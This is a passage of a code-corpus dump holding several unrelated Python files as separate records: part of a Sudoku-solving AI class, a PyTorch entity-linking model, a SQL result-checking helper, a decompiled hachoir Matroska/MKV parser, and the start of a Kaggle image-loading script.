\"observe\"\n if TEST.ifLevel(\"thinkai\", 3) is True:\n self._dispVariables()\n return (\"continue\", None)\n\n #callback\n def aiPlaceResult(self, placement, placed=True):\n '''Retour d'un placement demandé par ThinkAI Le retour contient les\n données du placement demandé (placement) et le résultat (placed), qui\n sont mémorisés par le joueur.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - Méthode aiPlaceResult()\")\n assert self._initOk\n TEST.display(\"thinkai\", 3, \"ThinkAI - retour de placement par AI : \"\\\n \"{0}.\".format(placed))\n #mémorise le placement fait et son résultat\n mem = self._mem\n mem.memorize(\"ai_lastplacement\", placement, self)\n mem.memorize(\"ai_lastplacedok\", placed, self)\n self._lastAction = \"place\"\n self._lastAIaction = \"place\"\n return (\"continue\", None)\n\n #callback\n def techObsResult(self, pattern, found):\n '''Retour de l'observation de la technique suggérée par AI. Le retour\n contient l'information recherchée (pattern) et le résultat (found).\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - Méthode techObsResult()\")\n assert self._initOk\n tech = self._mem.recallSafe(\"ai_suggested_tech\", self)\n TEST.display(\"thinkai\", 3, \"ThinkAI - retour d'observation par {0}: {1}\" \\\n .format(tech, found))\n #mémorise l'observation et son résultat\n self._mem.memorize(\"ai_lastobspattern\", pattern, self)\n self._mem.memorize(\"ai_lastobsfound\", found, self)\n self._lastAction = \"observe\"\n self._lastTechAction = \"observe\"\n if TEST.ifLevel(\"thinkai\", 3) is True:\n self._dispVariables()\n return (\"continue\", None)\n\n #callback\n def techPlaceResult(self, placement, placed=True):\n '''Retour du placement de la technique suggérée par AI. le retour\n contient les données du placement demandé (placement) ainsi que le\n résultat (placed).\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - Méthode techPlaceResult()\")\n assert self._initOk\n tech = self._mem.recallSafe(\"ai_suggested_tech\", self)\n TEST.display(\"thinkai\", 3, \"ThinkAI - retour de placement par {0}: {1}\" \\\n .format(tech, placed))\n #mémorise le placement fait et son résultat\n mem = self._mem\n mem.memorize(\"ai_lastplacement\", placement, self)\n mem.memorize(\"ai_lastplacedok\", placed, self)\n #mise à jour des données d'avancement de résolution\n self._lastAction = \"place\"\n self._lastTechAction = \"place\"\n #il y a eu un placement donc l'état de la grille n'est plus connu\n self._gridChecked = False\n if TEST.ifLevel(\"thinkai\", 3) is True:\n self._dispVariables()\n return (\"continue\", None)\n\n #callback\n def techReturnsEnd(self, endDetails=None):\n '''Prend connaissance que la technique suggérée a indiqué sa fin\n avec son résultat final.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - dans techReturnsEnd()\")\n assert self._initOk\n #tech = self._mem.recallSafe(\"ai_suggested_tech\", self)\n tech = self._tech\n TEST.display(\"thinkai\", 3, \"ThinkAI - Résultat \\\"end\\\" par la \"\\\n \"technique {0}\".format(tech))\n## #vérifier la validité du résultat retourné\n## if endDetails[0] not in (\"end\", \"noplace\", \"succeed\", \"quit\", \"fail\"):\n## raise Sudoku_Error(\"ThinkAI - une technique a signalé sa fin\"\\\n## \"avec un code invalide : {0}\".format(endDetails))\n TEST.display(\"thinkai\", 3, \"ThinkAI - Code de fin de technique \"\\\n \"reçu : {0}\".format(endDetails))\n #mémorise la fin de technique pour l'itération suivante de AI, et répond\n #de continuer la résolution.\n self._mem.memorize(\"ai_suggested_tech_end\", True, self)\n self._mem.memorize(\"ai_suggested_tech_end_details\", endDetails, self)\n\n #mise à jour des données d'avancement de résolution\n self._lastAction = \"end\"\n self._lastTechAction = \"end\"\n####\n TEST.pause(\"thinkai\", 4)\n\n return (\"continue\", None)\n\n #callback\n def techReturnsFail(self, failDetails=None):\n '''Prend connaissance que la technique a généré un fail.'''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - dans techReturnFail()\")\n assert self._initOk\n tech = self._mem.recallSafe(\"ai_suggested_tech\", self)\n## #vérifier la validité du résultat retourné\n## if endDetails[0] not in (\"end\", \"noplace\", \"succeed\", \"quit\", \"fail\"):\n## raise Sudoku_Error(\"ThinkAI - une technique a signalé sa fin\"\\\n## \"avec un code invalide : {0}\".format(endDetails))\n TEST.display(\"thinkai\", 3, \"ThinkAI - Code de fail de technique \"\\\n \"reçu : {0}\".format(failDetails))\n #mémorise le fail pour le traiter dans l'itération suivante, et répond\n #de continuer la résolution\n self._mem.memorize(\"ai_suggested_tech_fail\", True, self)\n self._mem.memorize(\"ai_suggested_tech_fail_details\", failDetails, self)\n\n #mise à jour des données d'avancement de résolution\n self._lastAction = \"end\"\n self._lastTechAction = \"end\"\n\n return (\"continue\", None)\n\n #callback\n def actionResult(self):\n '''Récupère de Thinking le résultat de la dernière action effectuée\n par la technique que ThinkAI a suggéré d'utiliser.\n '''\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - Méthode actionResult()\")\n assert self._initOk\n TEST.display(\"thinkai\", 3, \"ERREUR : METHODE actionResult() INCOMPLETE\")\n return (None, None)\n\n\n ##FIN DE PARTIE\n ##-------------\n def _winResult(self):\n TEST = self.env.TEST\n TEST.display(\"thinkai\", 3, \"ThinkAI - dans _winResult()\")\n assert self._initOk\n TEST.display(\"thinkai\", 1, \"AI : Grille terminée, la partie est gagnée.\")\n return (\"end\", (\"win\",None))\n \n\n def techName(self, tech):\n '''Retourne le nom de la classe de la technique de l'instance indiquée'''\n TEST = self.env.TEST\n assert self._initOk\n if tech is not None:\n return tech.techName()\n else:\n return None\n\n def lastTechName(self):\n '''Retourne le nom de la dernière technique suggérée'''\n TEST = self.env.TEST\n assert self._initOk\n lastTech = self._tmp_uniqueTech\n if lastTech is None: \n return None\n else:\n return lastTech.techName()\n \n \n \n\n##TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST \n##TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST TEST \n\nif __name__ == \"__main__\":\n\n env = sudoenv.SudoEnv(\"TEST THINKAI\")\n TEST = env.TEST\n TEST.levelAll(0)\n\n #lancement de l'AI\n ui.display(\"\\nSIMULATION : Lancement de l'AI\")\n mem = SudoMemory(env=env)\n TEST.level(\"memory\", 0)\n tai = SudoThinkAI(mem, env = env)\n TEST.test(\"thinkai\", 3)\n TEST.test(\"ai\", 3)\n\n #affichage des données initiales\n ui.display(\"\\nSIMULATION : Données initiales :\")\n tai._aiData.disp()\n\n #simulation : premier appel par Thinking\n ui.display(\"\\nSIMULATION : Premier appel par Thinking\")\n TEST.pause(\"thinkai\", 1)\n da = tai.decideAction()\n\n #simulation : la première technique a fait une observation\n #found = (2, (1,4))\n #tai.techObsResult(found)\n #itération et nouvel appel par Thinking\n #da = tai.decideAction()\n\n## #import sudoobserver\n## #import sudogrid\n## import sudomemory\n## import sudotestall\n## testlevel = 3\n## TEST.levelAll(testlevel)\n## ui.display(\"Tous les niveaux de test sont à {0}\".format(testlevel))\n##\n## mem = sudomemory.SudoMemory()\n## ai = SudoThinkAI(mem)\n## #ai.init(mem)\n","sub_path":"sudosimu/sudothinkai.py","file_name":"sudothinkai.py","file_ext":"py","file_size_in_byte":33548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"39676045","text":"# Mention words and full document context around mention with a combining linear layer\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nfrom src.models.combined.base import CombinedBase\nfrom src.models.loss import Loss\n\nimport numpy as np\nnp.set_printoptions(threshold=10**8)\n\n\nclass FullContext(CombinedBase, Loss):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n # Mention embeddings\n self.mention_embs = nn.Embedding(self.word_embs.weight.shape[0], self.args.mention_word_dim,\n padding_idx=0, sparse=self.args.sparse)\n self.mention_embs.weight.data.normal_(0, self.args.init_stdv)\n self.mention_embs.weight.data[0] = 0\n\n # Entity mention embeddings\n self.ent_mention_embs = nn.Embedding(self.ent_combined_embs.weight.shape[0], self.args.ent_mention_dim,\n padding_idx=0, sparse=self.args.sparse)\n self.ent_mention_embs.weight.data.normal_(0, self.args.init_stdv)\n self.ent_mention_embs.weight.data[0] = 0\n\n # Linear\n if self.args.combined_linear:\n self.combine_linear = nn.Linear(self.args.mention_word_dim + self.args.context_word_dim,\n self.args.mention_word_dim + self.args.context_word_dim)\n\n # Dropout\n self.dp = nn.Dropout(self.args.dp)\n\n def forward(self, inputs):\n mention_word_tokens, candidate_ids, context_tokens = inputs\n\n # Get the embeddings\n mention_embs = self.mention_embs(mention_word_tokens)\n context_embs = self.word_embs(context_tokens)\n candidate_mention_embs = self.ent_mention_embs(candidate_ids)\n candidate_context_embs = self.ent_combined_embs(candidate_ids)\n\n # Sum the embeddings over the small and large tokens dimension\n mention_embs_agg = torch.mean(mention_embs, dim=1)\n context_embs_agg = F.normalize(self.orig_linear(torch.mean(context_embs, dim=1)))\n\n # Cat the embs\n cat_dim = 2 if len(candidate_ids.shape) == 2 else 1\n mention_repr = torch.cat((mention_embs_agg, context_embs_agg), dim=1)\n cand_repr = torch.cat((candidate_mention_embs, candidate_context_embs), dim=cat_dim)\n\n if self.args.combined_linear:\n mention_repr = self.combine_linear(mention_repr)\n\n # Normalize\n if self.args.norm_final:\n cand_repr = F.normalize(cand_repr, dim=cat_dim)\n mention_repr = F.normalize(mention_repr, dim=1)\n\n # Dot product over last dimension only during training\n if len(candidate_ids.shape) == 2:\n mention_repr.unsqueeze_(1)\n scores = torch.matmul(mention_repr, cand_repr.transpose(1, 2)).squeeze(1)\n else:\n scores = torch.Tensor([0])\n\n return scores, cand_repr, mention_repr\n\n def loss(self, scores, labels):\n return self.cross_entropy(scores, labels)\n\n","sub_path":"src/models/combined/full_context.py","file_name":"full_context.py","file_ext":"py","file_size_in_byte":3003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"569440009","text":"# coding:utf-8\n# @Author: wang_cong\nfrom Check.sql_compare import sql_compare\nfrom Utils.operation_log import initLogger\n\nlogger = initLogger(__file__)\n\n\ndef check_sql_result(check_info, acture_result):\n \"\"\"\n 校验SQL请求,返回校验成功或者失败\n :param check_info: SQL校验信息\n :param acture_result: SQL请求得到的实际返回值\n :return: 返回校验成功或者失败\n \"\"\"\n try:\n # 因为有多条校验信息,必须每条校验信息,都是PASS ,才能算PASS;有一个不是FAIL,那就FAIL\n # 因此,决定将每条校验结果放入一个list里面\n check_res = []\n # 对校验信息,进行判断\n if check_info is None:\n logger.info(\"无校验信息\")\n flag = True\n check_res.append(flag)\n else:\n logger.info(\"有校验信息\")\n logger.info(check_info)\n # 遍历每一个校验信息\n for n in range(len(check_info)):\n logger.info(\"当前正在遍历第{}个校验信息\".format(n + 1))\n every_check_info = check_info[n]\n logger.info(\"=====开始SQL校验=====\")\n # 获取SQL校验的各项信息\n extract_path = every_check_info[\"extract_path\"]\n if extract_path is None or extract_path == \"\":\n logger.error(\"提取路径为空,无法进行SQL校验!\")\n operator = every_check_info[\"operator\"]\n if operator is not None or operator != \"\":\n if operator not in [\"==\", \">\", \"<\", \"<=\", \"!=\", \"in\", \"not in\", \"is None\", \"is not None\"]:\n logger.error(\"当前操作器是:{} 不在\")\n else:\n logger.error(\"操作器为空,无法进行SQL校验!\")\n expected_value = every_check_info[\"expected_value\"]\n if expected_value is None or expected_value == \"\":\n logger.error(\"预期结果为空,无法进行SQL校验!\")\n if not isinstance(acture_result, tuple):\n logger.error(\"SQL实际返回值的数据类型时:{} ,不是tuple,无法进行SQL校验\".format(type(acture_result)))\n if acture_result == ():\n logger.error(\"SQL实际查询结果为空,无法进行SQL校验!\")\n # 根据校验信息的提取方式类型,分别进行判断\n if extract_path.startswith(\"$\"):\n flag = sql_compare(acture_result, operator, expected_value, extract_path)\n check_res.append(flag)\n else:\n logger.error(\"当前的提取路径是:{} ,不正确,无法进行SQL校验!提取路径必须以$符号开头!\".format(extract_path))\n # 接下来分析,校验结果列表中,是否有False\n if len(check_res) == 0:\n logger.info(\"说明没得到任何校验结果\")\n logger.info(\"=====结束SQL校验=====\")\n return False\n else:\n if False in check_res:\n logger.info(\"=====结束SQL校验=====\")\n return False\n else:\n logger.info(\"=====结束SQL校验=====\")\n return True\n except Exception as e:\n logger.error(\"校验SQL失败!报错信息是:{}\".format(e))\n","sub_path":"Check/check_sql_result.py","file_name":"check_sql_result.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"180895369","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/hachoir_parser/container/mkv.py\n# Compiled at: 2010-07-25 20:58:36\nfrom hachoir_parser import Parser\nfrom hachoir_core.field import FieldSet, Link, MissingField, ParserError, Enum as _Enum, String as _String, Float32, Float64, NullBits, Bits, Bit, RawBytes, Bytes, Int16, GenericInteger\nfrom hachoir_core.endian import BIG_ENDIAN\nfrom hachoir_core.iso639 import ISO639_2\nfrom hachoir_core.tools import humanDatetime\nfrom hachoir_core.text_handler import textHandler, hexadecimal\nfrom hachoir_parser.container.ogg import XiphInt\nfrom datetime import datetime, timedelta\n\nclass RawInt(GenericInteger):\n \"\"\"\n Raw integer: have to be used in BIG_ENDIAN!\n \"\"\"\n __module__ = __name__\n\n def __init__(self, parent, name, description=None):\n GenericInteger.__init__(self, parent, name, False, 8, description)\n i = GenericInteger.createValue(self)\n if i == 0:\n raise ParserError('Invalid integer length!')\n while i < 128:\n self._size += 8\n i <<= 1\n\n\nclass Unsigned(RawInt):\n __module__ = __name__\n\n def __init__(self, parent, name, description=None):\n RawInt.__init__(self, parent, name, description)\n\n def hasValue(self):\n return True\n\n def createValue(self):\n header = 1 << self._size / 8 * 7\n value = RawInt.createValue(self) - header\n if value + 1 == header:\n return\n return value\n\n\nclass Signed(Unsigned):\n __module__ = __name__\n\n def createValue(self):\n header = 1 << self._size / 8 * 7 - 1\n value = RawInt.createValue(self) - 3 * header + 1\n if value == header:\n return\n return value\n\n\ndef Enum(parent, enum):\n return _Enum(GenericInteger(parent, 'enum', False, parent['size'].value * 8), enum)\n\n\ndef Bool(parent):\n return textHandler(GenericInteger(parent, 'bool', False, parent['size'].value * 8), lambda chunk: str(chunk.value != 0))\n\n\ndef UInt(parent):\n return GenericInteger(parent, 'unsigned', False, parent['size'].value * 8)\n\n\ndef SInt(parent):\n return GenericInteger(parent, 'signed', True, parent['size'].value * 8)\n\n\ndef String(parent):\n return _String(parent, 'string', parent['size'].value, charset='ASCII')\n\n\ndef EnumString(parent, enum):\n return _Enum(String(parent), enum)\n\n\ndef Binary(parent):\n return RawBytes(parent, 'binary', parent['size'].value)\n\n\nclass AttachedFile(Bytes):\n __module__ = __name__\n\n def __init__(self, parent):\n Bytes.__init__(self, parent, 'file', parent['size'].value, None)\n return\n\n def _getFilename(self):\n if not hasattr(self, '_filename'):\n try:\n self._filename = self['../../FileName/unicode'].value\n except MissingField:\n self._filename = None\n\n return self._filename\n\n def createDescription(self):\n filename = self._getFilename()\n if filename:\n return 'File \"%s\"' % filename\n return \"('Filename' entry not found)\"\n\n def _createInputStream(self, **args):\n tags = args.setdefault('tags', [])\n try:\n tags.append(('mime', self['../../FileMimeType/string'].value))\n except MissingField:\n pass\n\n filename = self._getFilename()\n if filename:\n tags.append(('filename', filename))\n return Bytes._createInputStream(self, **args)\n\n\ndef UTF8(parent):\n return _String(parent, 'unicode', parent['size'].value, charset='UTF-8')\n\n\ndef Float(parent):\n size = parent['size'].value\n if size == 4:\n return Float32(parent, 'float')\n elif size == 8:\n return Float64(parent, 'double')\n else:\n return RawBytes(parent, 'INVALID_FLOAT', size)\n\n\nTIMESTAMP_T0 = datetime(2001, 1, 1)\n\ndef dateToDatetime(value):\n return TIMESTAMP_T0 + timedelta(microseconds=value // 1000)\n\n\ndef dateToString(field):\n return humanDatetime(dateToDatetime(field.value))\n\n\ndef Date(parent):\n return textHandler(GenericInteger(parent, 'date', True, parent['size'].value * 8), dateToString)\n\n\ndef SeekID(parent):\n return textHandler(GenericInteger(parent, 'binary', False, parent['size'].value * 8), lambda chunk: segment.get(chunk.value, (hexadecimal(chunk),))[0])\n\n\ndef CueClusterPosition(parent):\n\n class Cluster(Link):\n __module__ = __name__\n\n def createValue(self):\n parent = self.parent\n segment = parent['.....']\n pos = parent['unsigned'].value * 8 + segment[2].address\n return segment.getFieldByAddress(pos, feed=False)\n\n return Cluster(parent, 'cluster')\n\n\ndef CueTrackPositions(parent):\n\n class Block(Link):\n __module__ = __name__\n\n def createValue(self):\n parent = self.parent\n time = parent['../CueTime/unsigned'].value\n track = parent['CueTrack/unsigned'].value\n cluster = parent['CueClusterPosition/cluster'].value\n time -= cluster['Timecode/unsigned'].value\n for field in cluster:\n if field.name.startswith('BlockGroup['):\n for path in ('Block/block', 'SimpleBlock'):\n try:\n block = field[path]\n if block['track'].value == track and block['timecode'].value == time:\n return field\n except MissingField:\n pass\n\n parent.error('Cue point not found')\n return self\n\n return Block(parent, 'block')\n\n\nclass Lace(FieldSet):\n __module__ = __name__\n\n def __init__(self, parent, lacing, size):\n self.n_frames = parent['n_frames'].value\n self.createFields = (self.parseXiph, self.parseFixed, self.parseEBML)[lacing]\n FieldSet.__init__(self, parent, 'Lace', size=size * 8)\n\n def parseXiph(self):\n for i in xrange(self.n_frames):\n yield XiphInt(self, 'size[]')\n\n for i in xrange(self.n_frames):\n yield RawBytes(self, 'frame[]', self[('size[' + str(i) + ']')].value)\n\n yield RawBytes(self, 'frame[]', (self._size - self.current_size) / 8)\n\n def parseEBML(self):\n yield Unsigned(self, 'size')\n for i in xrange(1, self.n_frames):\n yield Signed(self, 'dsize[]')\n\n size = self['size'].value\n yield RawBytes(self, 'frame[]', size)\n for i in xrange(self.n_frames - 1):\n size += self[('dsize[' + str(i) + ']')].value\n yield RawBytes(self, 'frame[]', size)\n\n yield RawBytes(self, 'frame[]', (self._size - self.current_size) / 8)\n\n def parseFixed(self):\n n = self.n_frames + 1\n size = self._size / 8 / n\n for i in xrange(n):\n yield RawBytes(self, 'frame[]', size)\n\n\nclass Block(FieldSet):\n __module__ = __name__\n\n def __init__(self, parent):\n FieldSet.__init__(self, parent, 'block')\n self._size = 8 * parent['size'].value\n\n def lacing(self):\n return _Enum(Bits(self, 'lacing', 2), ['none', 'Xiph', 'fixed', 'EBML'])\n\n def createFields(self):\n yield Unsigned(self, 'track')\n yield Int16(self, 'timecode')\n if self.parent._name == 'Block':\n yield NullBits(self, 'reserved[]', 4)\n yield Bit(self, 'invisible')\n yield self.lacing()\n yield NullBits(self, 'reserved[]', 1)\n elif self.parent._name == 'SimpleBlock[]':\n yield Bit(self, 'keyframe')\n yield NullBits(self, 'reserved', 3)\n yield Bit(self, 'invisible')\n yield self.lacing()\n yield Bit(self, 'discardable')\n else:\n yield NullBits(self, 'reserved', 8)\n return\n size = (self._size - self.current_size) / 8\n lacing = self['lacing'].value\n if lacing:\n yield textHandler(GenericInteger(self, 'n_frames', False, 8), lambda chunk: str(chunk.value + 1))\n yield Lace(self, lacing - 1, size - 1)\n else:\n yield RawBytes(self, 'frame', size)\n\n\nebml = {440786851: ('EBML[]', {17030: ('EBMLVersion', UInt), 17143: ('EBMLReadVersion', UInt), 17138: ('EBMLMaxIDLength', UInt), 17139: ('EBMLMaxSizeLength', UInt), 17026: ('DocType', String), 17031: ('DocTypeVersion', UInt), 17029: ('DocTypeReadVersion', UInt)})}\nsignature = {32394: ('SignatureAlgo', UInt), 32410: ('SignatureHash', UInt), 32421: ('SignaturePublicKey', Binary), 32437: ('Signature', Binary), 32347: ('SignatureElements', {32379: ('SignatureElementList[]', {25906: ('SignedElement[]', Binary)})})}\nchapter_atom = {29636: ('ChapterUID', UInt), 145: ('ChapterTimeStart', UInt), 146: ('ChapterTimeEnd', UInt), 152: ('ChapterFlagHidden', Bool), 17816: ('ChapterFlagEnabled', Bool), 28263: ('ChapterSegmentUID', Binary), 28348: ('ChapterSegmentEditionUID', Binary), 25539: ('ChapterPhysicalEquiv', UInt), 143: ('ChapterTrack', {137: ('ChapterTrackNumber[]', UInt)}), 128: ('ChapterDisplay[]', {133: ('ChapString', UTF8), 17276: ('ChapLanguage[]', String), 17278: ('ChapCountry[]', String)}), 26948: ('ChapProcess[]', {26965: ('ChapProcessCodecID', UInt), 17677: ('ChapProcessPrivate', Binary), 26897: ('ChapProcessCommand[]', {26914: ('ChapProcessTime', UInt), 26931: ('ChapProcessData', Binary)})})}\nsimple_tag = {17827: ('TagName', UTF8), 17530: ('TagLanguage', String), 17588: ('TagDefault', Bool), 17543: ('TagString', UTF8), 17541: ('TagBinary', Binary)}\nsegment_seek = {19899: ('Seek[]', {21419: ('SeekID', SeekID), 21420: ('SeekPosition', UInt)})}\nsegment_info = {29604: ('SegmentUID', Binary), 29572: ('SegmentFilename', UTF8), 3979555: ('PrevUID', Binary), 3965867: ('PrevFilename', UTF8), 4110627: ('NextUID', Binary), 4096955: ('NextFilename', UTF8), 17476: ('SegmentFamily[]', Binary), 26916: ('ChapterTranslate[]', {27132: ('ChapterTranslateEditionUID[]', UInt), 27071: ('ChapterTranslateCodec', UInt), 27045: ('ChapterTranslateID', Binary)}), 2807729: ('TimecodeScale', UInt), 17545: ('Duration', Float), 17505: ('DateUTC', Date), 31657: ('Title', UTF8), 19840: ('MuxingApp', UTF8), 22337: ('WritingApp', UTF8)}\nsegment_clusters = {231: ('Timecode', UInt), 22612: ('SilentTracks', {22743: ('SilentTrackNumber[]', UInt)}), 167: ('Position', UInt), 171: ('PrevSize', UInt), 160: ('BlockGroup[]', {161: ('Block', Block), 162: ('BlockVirtual[]', Block), 30113: ('BlockAdditions', {166: ('BlockMore[]', {238: ('BlockAddID', UInt), 165: ('BlockAdditional', Binary)})}), 155: ('BlockDuration', UInt), 250: ('ReferencePriority', UInt), 251: ('ReferenceBlock[]', SInt), 253: ('ReferenceVirtual', SInt), 164: ('CodecState', Binary), 142: ('Slices[]', {232: ('TimeSlice[]', {204: ('LaceNumber', UInt), 205: ('FrameNumber', UInt), 203: ('BlockAdditionID', UInt), 206: ('Delay', UInt), 207: ('Duration', UInt)})})}), 163: ('SimpleBlock[]', Block)}\ntracks_video = {154: ('FlagInterlaced', Bool), 21432: ('StereoMode',\n lambda parent: Enum(parent, [\n 'mono', 'right eye', 'left eye', 'both eyes'])), \n 176: ('PixelWidth', UInt), 186: ('PixelHeight', UInt), 21674: ('PixelCropBottom', UInt), 21691: ('PixelCropTop', UInt), 21708: ('PixelCropLeft', UInt), 21725: ('PixelCropRight', UInt), 21680: ('DisplayWidth', UInt), 21690: ('DisplayHeight', UInt), 21682: ('DisplayUnit',\n lambda parent: Enum(parent, [\n 'pixels', 'centimeters', 'inches'])), \n 21683: ('AspectRatioType',\n lambda parent: Enum(parent, [\n 'free resizing', 'keep aspect ratio', 'fixed'])), \n 3061028: ('ColourSpace', Binary), 3126563: ('GammaValue', Float)}\ntracks_audio = {181: ('SamplingFrequency', Float), 30901: ('OutputSamplingFrequency', Float), 159: ('Channels', UInt), 32123: ('ChannelPositions', Binary), 25188: ('BitDepth', UInt)}\ntracks_content_encodings = {25152: ('ContentEncoding[]', {20529: ('ContentEncodingOrder', UInt), 20530: ('ContentEncodingScope', UInt), 20531: ('ContentEncodingType', UInt), 20532: ('ContentCompression', {16980: ('ContentCompAlgo', UInt), 16981: ('ContentCompSettings', Binary)}), 20533: ('ContentEncryption', {18401: ('ContentEncAlgo', UInt), 18402: ('ContentEncKeyID', Binary), 18403: ('ContentSignature', Binary), 18404: ('ContentSigKeyID', Binary), 18405: ('ContentSigAlgo', UInt), 18406: ('ContentSigHashAlgo', UInt)})})}\nsegment_tracks = {174: ('TrackEntry[]',\n {215: ('TrackNumber', UInt), 29637: ('TrackUID', UInt), 131: ('TrackType',\n lambda parent: Enum(parent, {1: 'video', 2: 'audio', 3: 'complex', 16: 'logo', 17: 'subtitle', 18: 'buttons', 32: 'control'})), \n 185: ('FlagEnabled', Bool), 136: ('FlagDefault', Bool), 21930: ('FlagForced[]', Bool), 156: ('FlagLacing', Bool), 28135: ('MinCache', UInt), 28152: ('MaxCache', UInt), 2352003: ('DefaultDuration', UInt), 2306383: ('TrackTimecodeScale', Float), 21375: ('TrackOffset', SInt), 21998: ('MaxBlockAdditionID', UInt), 21358: ('Name', UTF8), 2274716: ('Language',\n lambda parent: EnumString(parent, ISO639_2)), \n 134: ('CodecID', String), 25506: ('CodecPrivate', Binary), 2459272: ('CodecName', UTF8), 29766: ('AttachmentLink', UInt), 3839639: ('CodecSettings', UTF8), 3883072: ('CodecInfoURL[]', String), 2536000: ('CodecDownloadURL[]', String), 170: ('CodecDecodeAll', Bool), 28587: ('TrackOverlay[]', UInt), 26148: ('TrackTranslate[]', {26364: ('TrackTranslateEditionUID[]', UInt), 26303: ('TrackTranslateCodec', UInt), 26277: ('TrackTranslateTrackID', Binary)}), 224: ('Video', tracks_video), 225: ('Audio', tracks_audio), 28032: ('ContentEncodings', tracks_content_encodings)})}\nsegment_cues = {187: ('CuePoint[]', {179: ('CueTime', UInt), 183: ('CueTrackPositions[]', CueTrackPositions, {247: ('CueTrack', UInt), 241: ('CueClusterPosition', CueClusterPosition, UInt), 21368: ('CueBlockNumber', UInt), 234: ('CueCodecState', UInt), 219: ('CueReference[]', {150: ('CueRefTime', UInt), 151: ('CueRefCluster', UInt), 21343: ('CueRefNumber', UInt), 235: ('CueRefCodecState', UInt)})})})}\nsegment_attachments = {24999: ('AttachedFile[]', {18046: ('FileDescription', UTF8), 18030: ('FileName', UTF8), 18016: ('FileMimeType', String), 18012: ('FileData', AttachedFile), 18094: ('FileUID', UInt), 18037: ('FileReferral', Binary)})}\nsegment_chapters = {17849: ('EditionEntry[]', {17852: ('EditionUID', UInt), 17853: ('EditionFlagHidden', Bool), 17883: ('EditionFlagDefault', Bool), 17885: ('EditionFlagOrdered', Bool), 182: ('ChapterAtom[]', chapter_atom)})}\nsegment_tags = {29555: ('Tag[]', {25536: ('Targets', {26826: ('TargetTypeValue', UInt), 25546: ('TargetType', String), 25541: ('TrackUID[]', UInt), 25545: ('EditionUID[]', UInt), 25540: ('ChapterUID[]', UInt), 25542: ('AttachmentUID[]', UInt)}), 26568: ('SimpleTag[]', simple_tag)})}\nsegment = {290298740: ('SeekHead[]', segment_seek), 357149030: ('Info[]', segment_info), 524531317: ('Cluster[]', segment_clusters), 374648427: ('Tracks[]', segment_tracks), 475249515: ('Cues', segment_cues), 423732329: ('Attachments', segment_attachments), 272869232: ('Chapters', segment_chapters), 307544935: ('Tags[]', segment_tags)}\n\nclass EBML(FieldSet):\n __module__ = __name__\n\n def __init__(self, parent, ids):\n FieldSet.__init__(self, parent, '?[]')\n id = self['id'].value\n self.val = ids.get(id)\n if not self.val:\n if id == 191:\n self.val = (\n 'CRC-32[]', Binary)\n elif id == 236:\n self.val = (\n 'Void[]', Binary)\n elif id == 458458727:\n self.val = (\n 'SignatureSlot[]', signature)\n else:\n self.val = (\n 'Unknown[]', Binary)\n self._name = self.val[0]\n size = self['size']\n if size.value is not None:\n self._size = size.address + size.size + size.value * 8\n elif self._parent._parent:\n raise ParserError('Unknown length (only allowed for the last Level 0 element)')\n elif self._parent._size is not None:\n self._size = self._parent._size - self.address\n return\n\n def createFields(self):\n yield RawInt(self, 'id')\n yield Unsigned(self, 'size')\n for val in self.val[1:]:\n if callable(val):\n yield val(self)\n else:\n while not self.eof:\n yield EBML(self, val)\n\n\nclass MkvFile(Parser):\n __module__ = __name__\n EBML_SIGNATURE = 440786851\n PARSER_TAGS = {'id': 'matroska', 'category': 'container', 'file_ext': ('mka', 'mkv', 'webm'), 'mime': ('video/x-matroska', 'audio/x-matroska', 'video/webm', 'audio/webm'), 'min_size': 5 * 8, 'magic': (('\\x1aEߣ', 0), ), 'description': 'Matroska multimedia container'}\n endian = BIG_ENDIAN\n\n def _getDoctype(self):\n return self[0]['DocType/string'].value\n\n def validate(self):\n if self.stream.readBits(0, 32, self.endian) != self.EBML_SIGNATURE:\n return False\n try:\n first = self[0]\n except ParserError:\n return False\n\n if None < self._size < first._size:\n return 'First chunk size is invalid'\n if self._getDoctype() not in ('matroska', 'webm'):\n return \"Stream isn't a matroska document.\"\n return True\n\n def createFields(self):\n hdr = EBML(self, ebml)\n yield hdr\n while not self.eof:\n yield EBML(self, {408125543: ('Segment[]', segment)})\n\n def createContentSize(self):\n field = self['Segment[0]/size']\n return field.absolute_address + field.value * 8 + field.size\n\n def createDescription(self):\n if self._getDoctype() == 'webm':\n return 'WebM video'\n else:\n return 'Matroska video'\n\n def createMimeType(self):\n if self._getDoctype() == 'webm':\n return 'video/webm'\n else:\n return 'video/x-matroska'","sub_path":"pycfiles/hachoir_parser-1.3.4-py2.4/mkv.py","file_name":"mkv.py","file_ext":"py","file_size_in_byte":18011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"564502117","text":"# create a data frame for the kaggle_images\ntrain_df = pd.DataFrame()\ntrain_image_ids = []\ntrain_image_paths = []\ntrain_image_mask_paths = []\ntrain_image_height = []\ntrain_image_width = []\ntrain_channel = []\n\nfor base_path in glob.glob(\"./train2/*\"):\n image_id = os.path.basename(base_path)\n train_image_path = glob.glob(os.path.join(base_path, \"kaggle_images\", \"*.png\"))[0]\n mask_paths = glob.glob(os.path.join(base_path, \"masks\", \"*.png\"))\n img_shape = (cv2.imread(train_image_path)).shape\n img_height = img_shape[0]\n img_width = 